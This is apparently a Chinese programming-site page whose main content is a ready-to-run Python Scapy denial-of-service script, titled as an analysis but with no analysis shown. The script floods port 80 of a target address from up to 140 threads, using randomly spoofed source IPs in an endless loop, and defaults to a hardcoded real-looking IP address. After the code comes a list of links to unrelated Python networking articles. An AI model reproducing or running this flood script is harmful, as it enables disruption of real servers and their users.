分析python服務器拒絕服務攻擊代碼
# -*- coding: cp936 -*-
from scapy.all import *
from threading import Thread,activeCount
from random import randint
class Loop(Thread):
def __init__(self,remoteAddr):
Thread.__init__(self)
self.remoteAddr = remoteAddr
def run(self):
ip = str(randint(0,255))+'.'\
+str(randint(0,255))+'.'\
+str(randint(0,255))+'.'\
+str(randint(0,255))
sr1(IP(src = ip,dst = self.remoteAddr)/TCP(dport = 80),retry = 0,verbose = 0,timeout = 3)
class Main(Thread):
def __init__(self,remoteAddr):
Thread.__init__(self)
self.remoteAddr = remoteAddr
def run(self):
limit = 140
total = 0
while True:
if activeCount() < limit:
Loop(remoteAddr = self.remoteAddr).start()
total = total + 1
print '目前已經(jīng)進行的HttpFlood的次數(shù)為:',total
if __name__ == '__main__':
remoteAddr = raw_input('IP=')
if remoteAddr == '':
remoteAddr = '202.103.25.12'
Main(remoteAddr = remoteAddr).start()
- python網(wǎng)絡編程之TCP通信實例和socketserver框架使用例子
- Python基于twisted實現(xiàn)簡單的web服務器
- Python實現(xiàn)的檢測web服務器健康狀況的小程序
- Python寫的Socks5協(xié)議代理服務器
- python網(wǎng)絡編程學習筆記(三):socket網(wǎng)絡服務器
- Python寫的一個簡單DNS服務器實例
- python網(wǎng)絡編程之UDP通信實例(含服務器端、客戶端、UDP廣播例子)
- linux系統(tǒng)使用python監(jiān)控apache服務器進程腳本分享
- python定時采集攝像頭圖像上傳ftp服務器功能實現(xiàn)
- python實現(xiàn)簡單的TCP代理服務器
相關文章
使用 PyTorch 實現(xiàn) MLP 并在 MNIST 數(shù)據(jù)集上驗證方式
今天小編就為大家分享一篇使用 PyTorch 實現(xiàn) MLP 并在 MNIST 數(shù)據(jù)集上驗證方式,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2020-01-01Python實現(xiàn)線程狀態(tài)監(jiān)測簡單示例
這篇文章主要介紹了Python實現(xiàn)線程狀態(tài)監(jiān)測,結合簡單實例形式分析了Python線程start啟動、sleep推遲運行、isAlive判斷等方法使用技巧,需要的朋友可以參考下2018-03-03Python中循環(huán)后使用list.append()數(shù)據(jù)被覆蓋問題的解決
這篇文章主要給大家介紹了關于Python中循環(huán)后使用list.append()數(shù)據(jù)被覆蓋問題的解決方法,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧2018-07-07python3.6環(huán)境下安裝freetype庫和基本使用方法(推薦)
這篇文章主要介紹了python3.6環(huán)境下如何安裝freetype庫和基本使用方法,本文通過示例代碼給大家介紹的非常詳細,對大家的學習或工作具有一定的參考借鑒價值,需要的朋友可以參考下2020-05-05